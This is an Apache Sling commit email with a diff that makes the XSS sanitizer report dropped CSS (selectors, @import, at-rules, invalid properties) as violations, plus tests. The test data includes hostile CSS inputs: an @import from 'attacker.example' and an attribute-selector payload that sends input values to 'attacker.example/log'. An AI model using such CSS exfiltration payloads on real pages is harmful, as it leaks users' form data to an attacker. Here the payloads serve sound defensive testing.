This is an automated email from the ASF dual-hosted git repository.
joerghoh pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/sling-org-apache-sling-xss.git
The following commit(s) were added to refs/heads/master by this push:
new b85d33f SLING-13338 validation API did not reflect certain
sanitization outcomes
b85d33f is described below
commit b85d33f714e233d3bc3181ab0ee07a12c8ecf787
Author: Joerg Hoh <[email protected]>
AuthorDate: Mon Sep 14 18:25:09 2026 +0200
SLING-13338 validation API did not reflect certain sanitization outcomes
---
.../org/apache/sling/xss/impl/HtmlSanitizer.java | 12 +++--
.../sling/xss/impl/style/BatikCssCleaner.java | 56 ++++++++++++++++---
.../apache/sling/xss/impl/style/CleanedCss.java | 54 +++++++++++++++++++
.../apache/sling/xss/impl/style/CssValidator.java | 42 ++++++++++++++-
.../sling/xss/impl/style/StyleTagProcessor.java | 12 ++++-
.../xss/impl/style/ValidatingDocumentHandler.java | 30 +++++++++--
.../impl/HtmlSanitizerCssViolationCleanupTest.java | 63 ++++++++++++++++++++++
.../apache/sling/xss/impl/XSSFilterImplTest.java | 7 +++
8 files changed, 257 insertions(+), 19 deletions(-)
diff --git a/src/main/java/org/apache/sling/xss/impl/HtmlSanitizer.java
b/src/main/java/org/apache/sling/xss/impl/HtmlSanitizer.java
index 68edc97..0bb080f 100644
--- a/src/main/java/org/apache/sling/xss/impl/HtmlSanitizer.java
+++ b/src/main/java/org/apache/sling/xss/impl/HtmlSanitizer.java
@@ -24,6 +24,7 @@ import java.util.Objects;
import java.util.Set;
import org.apache.commons.lang3.StringUtils;
+import org.apache.sling.xss.impl.style.CssValidator;
import org.apache.sling.xss.impl.xml.AntiSamyPolicy;
import org.owasp.html.DynamicAttributesSanitizerPolicy;
import org.owasp.html.Handler;
@@ -88,9 +89,14 @@ public class HtmlSanitizer {
customPolicy.getDynamicAttributesPolicyMap(),
customPolicy.getOnInvalidRemoveTagList());
- org.owasp.html.HtmlSanitizer.sanitize(
- taintedHTML, dynamicPolicy,
customPolicy.getCssValidator().newStyleTagProcessor());
- return new SanitizedResult(sb.toString(),
dynamicPolicy.getNumberOfErrors());
+ CssValidator cssValidator = customPolicy.getCssValidator();
+ cssValidator.resetCssViolationCount();
+ org.owasp.html.HtmlSanitizer.sanitize(taintedHTML, dynamicPolicy,
cssValidator.newStyleTagProcessor());
+ // CSS cleaning rewrites style attributes and style tag contents
outside of the policy object;
+ // include its violations in the error count so that XSSFilter#check
cannot report input as
+ // violation-free while XSSFilter#filter would strip parts of it
+ int numberOfErrors = dynamicPolicy.getNumberOfErrors() +
cssValidator.getCssViolationCount();
+ return new SanitizedResult(sb.toString(), numberOfErrors);
}
private Set<String> reflectionGetTextContainers(PolicyFactory
policyFactory) {
diff --git a/src/main/java/org/apache/sling/xss/impl/style/BatikCssCleaner.java
b/src/main/java/org/apache/sling/xss/impl/style/BatikCssCleaner.java
index 204e500..e446886 100644
--- a/src/main/java/org/apache/sling/xss/impl/style/BatikCssCleaner.java
+++ b/src/main/java/org/apache/sling/xss/impl/style/BatikCssCleaner.java
@@ -26,6 +26,8 @@ import org.apache.sling.xss.impl.xml.AntiSamyPolicy.CssPolicy;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.w3c.css.sac.CSSException;
+import org.w3c.css.sac.CSSParseException;
+import org.w3c.css.sac.ErrorHandler;
import org.w3c.css.sac.InputSource;
public class BatikCssCleaner {
@@ -44,20 +46,23 @@ public class BatikCssCleaner {
* Parses a CSS stylesheet and returns it in a safe form
*
* @param untrustedCss a complete CSS stylesheet
- * @return the cleaned CSS stylesheet text
+ * @return the cleaned CSS stylesheet, together with whether any content
was dropped
*/
- public String cleanStylesheet(String untrustedCss) {
+ public CleanedCss cleanStylesheet(String untrustedCss) {
try {
if (untrustedCss.startsWith(CDATA_PRE) &&
untrustedCss.endsWith(CDATA_POST))
untrustedCss = untrustedCss.substring(CDATA_PRE.length(),
untrustedCss.length() - CDATA_POST.length());
Parser parser = new Parser();
ValidatingDocumentHandler handler = new
ValidatingDocumentHandler(cssPolicy, false);
+ RecoveredErrorTracker errorTracker = new RecoveredErrorTracker();
parser.setDocumentHandler(handler);
+ parser.setErrorHandler(errorTracker);
parser.parseStyleSheet(new InputSource(new
StringReader(untrustedCss)));
- return handler.getValidCss();
+ return new CleanedCss(
+ handler.getValidCss(), handler.hasDroppedContent() ||
errorTracker.hasRecoveredFromError());
} catch (CSSException | IOException e) {
logger.warn("Unexpected error while cleaning stylesheet", e);
- return "";
+ return new CleanedCss("", true);
}
}
@@ -65,18 +70,53 @@ public class BatikCssCleaner {
* Parses a CSS style declaration (i.e. the text of a <tt>style</tt>
attribute) and returns it in a safe form
*
* @param untrustedCss a css style declaration
- * @return the cleaned CSS style declaration
+ * @return the cleaned CSS style declaration, together with whether any
content was dropped
*/
- public String cleanStyleDeclaration(String untrustedCss) {
+ public CleanedCss cleanStyleDeclaration(String untrustedCss) {
try {
Parser parser = new Parser();
ValidatingDocumentHandler handler = new
ValidatingDocumentHandler(cssPolicy, true);
+ RecoveredErrorTracker errorTracker = new RecoveredErrorTracker();
parser.setDocumentHandler(handler);
+ parser.setErrorHandler(errorTracker);
parser.parseStyleDeclaration(new InputSource(new
StringReader(untrustedCss)));
- return handler.getValidCss();
+ return new CleanedCss(
+ handler.getValidCss(), handler.hasDroppedContent() ||
errorTracker.hasRecoveredFromError());
} catch (CSSException | IOException e) {
logger.warn("Unexpected error while cleaning style declaration",
e);
- return "";
+ return new CleanedCss("", true);
+ }
+ }
+
+ /**
+ * Batik's CSS parser recovers from malformed rules (e.g. CSS3 attribute
selector operators such as
+ * {@code ^=}, which the underlying SAC grammar does not support) by
reporting them through the
+ * {@link ErrorHandler} and skipping straight to the next statement,
without ever invoking the
+ * {@link org.w3c.css.sac.DocumentHandler} for the skipped rule. Without
this tracker such rules would
+ * be silently dropped from the cleaned output while leaving {@link
ValidatingDocumentHandler#hasDroppedContent()}
+ * {@code false}.
+ */
+ private static class RecoveredErrorTracker implements ErrorHandler {
+
+ private boolean recoveredFromError;
+
+ boolean hasRecoveredFromError() {
+ return recoveredFromError;
+ }
+
+ @Override
+ public void warning(CSSParseException e) {
+ // recoverable, does not cause content to be dropped
+ }
+
+ @Override
+ public void error(CSSParseException e) {
+ recoveredFromError = true;
+ }
+
+ @Override
+ public void fatalError(CSSParseException e) {
+ recoveredFromError = true;
}
}
}
diff --git a/src/main/java/org/apache/sling/xss/impl/style/CleanedCss.java
b/src/main/java/org/apache/sling/xss/impl/style/CleanedCss.java
new file mode 100644
index 0000000..cf5554f
--- /dev/null
+++ b/src/main/java/org/apache/sling/xss/impl/style/CleanedCss.java
@@ -0,0 +1,54 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.sling.xss.impl.style;
+
+/**
+ * The result of cleaning untrusted CSS: the cleaned text, plus whether any
disallowed content was
+ * dropped while producing it. The drop indicator allows callers to count
policy violations that would
+ * otherwise be invisible, since cleaning always returns a (possibly empty)
string.
+ */
+public class CleanedCss {
+
+ private final String css;
+ private final boolean droppedContent;
+
+ CleanedCss(String css, boolean droppedContent) {
+ this.css = css;
+ this.droppedContent = droppedContent;
+ }
+
+ /**
+ * Returns the cleaned CSS text.
+ *
+ * @return the cleaned CSS text, never {@code null}
+ */
+ public String getCss() {
+ return css;
+ }
+
+ /**
+ * Returns {@code true} when disallowed content (selectors, property
values, {@code @import} or other
+ * at-rules) was dropped while cleaning, i.e. the input was not
violation-free.
+ *
+ * @return {@code true} if content was dropped, {@code false} otherwise
+ */
+ public boolean hasDroppedContent() {
+ return droppedContent;
+ }
+}
diff --git a/src/main/java/org/apache/sling/xss/impl/style/CssValidator.java
b/src/main/java/org/apache/sling/xss/impl/style/CssValidator.java
index 0bf0fd7..9591d4e 100644
--- a/src/main/java/org/apache/sling/xss/impl/style/CssValidator.java
+++ b/src/main/java/org/apache/sling/xss/impl/style/CssValidator.java
@@ -21,6 +21,7 @@ package org.apache.sling.xss.impl.style;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
+import java.util.concurrent.atomic.AtomicInteger;
import org.apache.sling.xss.impl.xml.AntiSamyPolicy.CssPolicy;
import org.owasp.html.AttributePolicy;
@@ -34,19 +35,56 @@ public class CssValidator {
private final BatikCssCleaner cssParser;
private final List<String> disallowedTagNames = new ArrayList<>();
+ /*
+ The attribute policies and style tag processors created below are baked
into a shared, reusable
+ PolicyFactory, so they cannot carry per-scan state themselves. Scans are
synchronous on the calling
+ thread, so a thread-local counter gives each scan its own CSS violation
count (see
+ org.apache.sling.xss.impl.HtmlSanitizer#scan).
+ */
+ private final ThreadLocal<AtomicInteger> cssViolations =
ThreadLocal.withInitial(AtomicInteger::new);
+
public CssValidator(CssPolicy cssPolicy) {
cssParser = new BatikCssCleaner(cssPolicy);
}
public HtmlStreamEventProcessor newStyleTagProcessor() {
- return new StyleTagProcessor(cssParser);
+ return new StyleTagProcessor(cssParser, this::reportDroppedContent);
}
public AttributePolicy newCssAttributePolicy() {
- return (String elementName, String attributeName, String value) ->
cssParser.cleanStyleDeclaration(value);
+ return (String elementName, String attributeName, String value) -> {
+ CleanedCss cleaned = cssParser.cleanStyleDeclaration(value);
+ if (cleaned.hasDroppedContent()) {
+ // count the violation so that XSSFilter#check does not report
input as clean
+ // when filtering would strip parts of it
+ reportDroppedContent();
+ }
+ return cleaned.getCss();
+ };
}
public List<String> getDisallowedTagNames() {
return Collections.unmodifiableList(disallowedTagNames);
}
+
+ /**
+ * Resets the CSS violation count recorded for the current thread. Must be
called before a scan starts.
+ */
+ public void resetCssViolationCount() {
+ cssViolations.get().set(0);
+ }
+
+ /**
+ * Returns the number of CSS violations (dropped selectors, property
values, {@code @import} or other
+ * at-rules) recorded on the current thread since the last call to {@link
#resetCssViolationCount()}.
+ *
+ * @return the number of CSS violations recorded for the current thread
+ */
+ public int getCssViolationCount() {
+ return cssViolations.get().get();
+ }
+
+ private void reportDroppedContent() {
+ cssViolations.get().incrementAndGet();
+ }
}
diff --git
a/src/main/java/org/apache/sling/xss/impl/style/StyleTagProcessor.java
b/src/main/java/org/apache/sling/xss/impl/style/StyleTagProcessor.java
index daabe29..cdac07e 100644
--- a/src/main/java/org/apache/sling/xss/impl/style/StyleTagProcessor.java
+++ b/src/main/java/org/apache/sling/xss/impl/style/StyleTagProcessor.java
@@ -26,9 +26,11 @@ import org.owasp.html.HtmlStreamEventReceiver;
class StyleTagProcessor implements HtmlStreamEventProcessor {
private final BatikCssCleaner cssCleaner;
+ private final Runnable onDroppedContent;
- StyleTagProcessor(BatikCssCleaner cssCleaner) {
+ StyleTagProcessor(BatikCssCleaner cssCleaner, Runnable onDroppedContent) {
this.cssCleaner = cssCleaner;
+ this.onDroppedContent = onDroppedContent;
}
@Override
@@ -70,7 +72,13 @@ class StyleTagProcessor implements HtmlStreamEventProcessor {
@Override
public void text(String taintedCss) {
if (inStyleTag) {
- wrapped.text(cssCleaner.cleanStylesheet(taintedCss));
+ CleanedCss cleanedCss = cssCleaner.cleanStylesheet(taintedCss);
+ if (cleanedCss.hasDroppedContent()) {
+ // report the violation so that XSSFilter#check does not
report input as clean
+ // when filtering would strip parts of it
+ onDroppedContent.run();
+ }
+ wrapped.text(cleanedCss.getCss());
} else {
wrapped.text(taintedCss);
}
diff --git
a/src/main/java/org/apache/sling/xss/impl/style/ValidatingDocumentHandler.java
b/src/main/java/org/apache/sling/xss/impl/style/ValidatingDocumentHandler.java
index 23b98b1..51cee5d 100644
---
a/src/main/java/org/apache/sling/xss/impl/style/ValidatingDocumentHandler.java
+++
b/src/main/java/org/apache/sling/xss/impl/style/ValidatingDocumentHandler.java
@@ -47,6 +47,7 @@ public class ValidatingDocumentHandler implements
DocumentHandler {
private final boolean isInLine;
private boolean isInSelector;
+ private boolean droppedContent;
public ValidatingDocumentHandler(CssPolicy cssPolicy, boolean isInLine) {
this.cssPolicy = cssPolicy;
@@ -57,6 +58,9 @@ public class ValidatingDocumentHandler implements
DocumentHandler {
public void startSelector(SelectorList selectors) throws CSSException {
List<String> validSelectors = validateSelectors(selectors);
+ if (validSelectors.size() < selectors.getLength()) {
+ droppedContent = true;
+ }
if (validSelectors.isEmpty()) return;
StringJoiner joiner = new StringJoiner(", ", "", " {\n");
@@ -76,6 +80,7 @@ public class ValidatingDocumentHandler implements
DocumentHandler {
@Override
public void property(String name, LexicalUnit value, boolean important)
throws CSSException {
if (!isInSelector && !isInLine) {
+ droppedContent = true;
return;
}
@@ -154,7 +159,10 @@ public class ValidatingDocumentHandler implements
DocumentHandler {
String stringValue = lexicalValueToString(value);
value = value.getNextLexicalUnit();
boolean isValid = validateProperty(name, stringValue);
- if (!isValid) continue;
+ if (!isValid) {
+ droppedContent = true;
+ continue;
+ }
validPropertyValues.add(stringValue);
}
return validPropertyValues;
@@ -164,6 +172,17 @@ public class ValidatingDocumentHandler implements
DocumentHandler {
return cleanCss.toString();
}
+ /**
+ * Returns {@code true} when this handler dropped CSS content while
producing the cleaned output -
+ * disallowed selectors, disallowed property values, {@code @import} rules
or other at-rules. Formatting
+ * changes coming from re-serialising the parsed CSS are not reported as
drops.
+ *
+ * @return {@code true} if content was dropped, {@code false} otherwise
+ */
+ public boolean hasDroppedContent() {
+ return droppedContent;
+ }
+
private boolean validateProperty(String name, String lexicalValueToString)
{
if (lexicalValueToString == null) return false;
@@ -263,7 +282,9 @@ public class ValidatingDocumentHandler implements
DocumentHandler {
@Override
public void importStyle(String uri, SACMediaList media, String
defaultNamespaceURI) throws CSSException {
- // embedded stylesheets are not supported
+ // embedded stylesheets are not supported; record the drop so that the
input is not
+ // reported as violation-free
+ droppedContent = true;
}
@Override
@@ -283,8 +304,9 @@ public class ValidatingDocumentHandler implements
DocumentHandler {
@Override
public void ignorableAtRule(String atRule) throws CSSException {
- // nothing to do
-
+ // at-rules are not part of the cleaned output; record the drop so
that the input is not
+ // reported as violation-free
+ droppedContent = true;
}
@Override
diff --git
a/src/test/java/org/apache/sling/xss/impl/HtmlSanitizerCssViolationCleanupTest.java
b/src/test/java/org/apache/sling/xss/impl/HtmlSanitizerCssViolationCleanupTest.java
new file mode 100644
index 0000000..b0e17ba
--- /dev/null
+++
b/src/test/java/org/apache/sling/xss/impl/HtmlSanitizerCssViolationCleanupTest.java
@@ -0,0 +1,63 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.sling.xss.impl;
+
+import javax.xml.stream.XMLStreamException;
+
+import java.io.IOException;
+
+import org.apache.sling.xss.impl.xml.AntiSamyPolicy;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * The CSS violation count that {@link
org.apache.sling.xss.impl.style.CssValidator} tracks for a scan is
+ * held in a {@code ThreadLocal} and reset at the start of every {@link
HtmlSanitizer#scan(String)} call.
+ * Verifies that this reset actually happens on every scan, so that a
violation recorded while scanning
+ * one input on a thread does not leak into the result of the next scan on
that same, reused thread.
+ */
+public class HtmlSanitizerCssViolationCleanupTest {
+
+ public static final String POLICY_FILE = "SLING-INF/content/config.xml";
+
+ private static HtmlSanitizer antiSamy;
+
+ @BeforeAll
+ public static void setup() throws InvalidConfigException,
XMLStreamException, IOException {
+ antiSamy = new HtmlSanitizer(new AntiSamyPolicy(
+
HtmlSanitizerCssViolationCleanupTest.class.getClassLoader().getResourceAsStream(POLICY_FILE)));
+ }
+
+ @Test
+ public void
testCssViolationFromPreviousScanDoesNotLeakIntoNextScanOnSameThread() {
+ SanitizedResult withViolation = antiSamy.scan("<p
style=\"behavior:url(#default#userData)\">hi</p>");
+ assertTrue(
+ withViolation.getNumberOfErrors() > 0,
+ "Expected the disallowed 'behavior' CSS property to be
reported as an error.");
+
+ SanitizedResult clean = antiSamy.scan("<p style=\"color:red\">hi</p>");
+ assertEquals(
+ 0,
+ clean.getNumberOfErrors(),
+ "The CSS violation from the previous scan on this thread must
not carry over into this scan.");
+ }
+}
diff --git a/src/test/java/org/apache/sling/xss/impl/XSSFilterImplTest.java
b/src/test/java/org/apache/sling/xss/impl/XSSFilterImplTest.java
index 01abd8d..5791839 100644
--- a/src/test/java/org/apache/sling/xss/impl/XSSFilterImplTest.java
+++ b/src/test/java/org/apache/sling/xss/impl/XSSFilterImplTest.java
@@ -97,6 +97,13 @@ public class XSSFilterImplTest {
testData.add(new Object[] {"<table border=\"green\">invalid
Test</table>", false});
testData.add(new Object[] {"<script>invalid Test</script>", false});
testData.add(new Object[] {"", false});
+ // CSS violations that filter() would strip must not be reported as
violation-free by check()
+ testData.add(new Object[] {"<style>@import
url(\"https://attacker.example/malicious.css\");</style>", false});
+ testData.add(new Object[] {
+ "<style>input[value^=\"a\"] {background:
url(\"//attacker.example/log?a\");}</style>", false
+ });
+ testData.add(new Object[] {"<p
style=\"behavior:url(#default#userData)\">hi</p>", false});
+ testData.add(new Object[] {"<style>h1 {color:red;
behavior:url(#default#userData);}</style>", false});
return testData;
}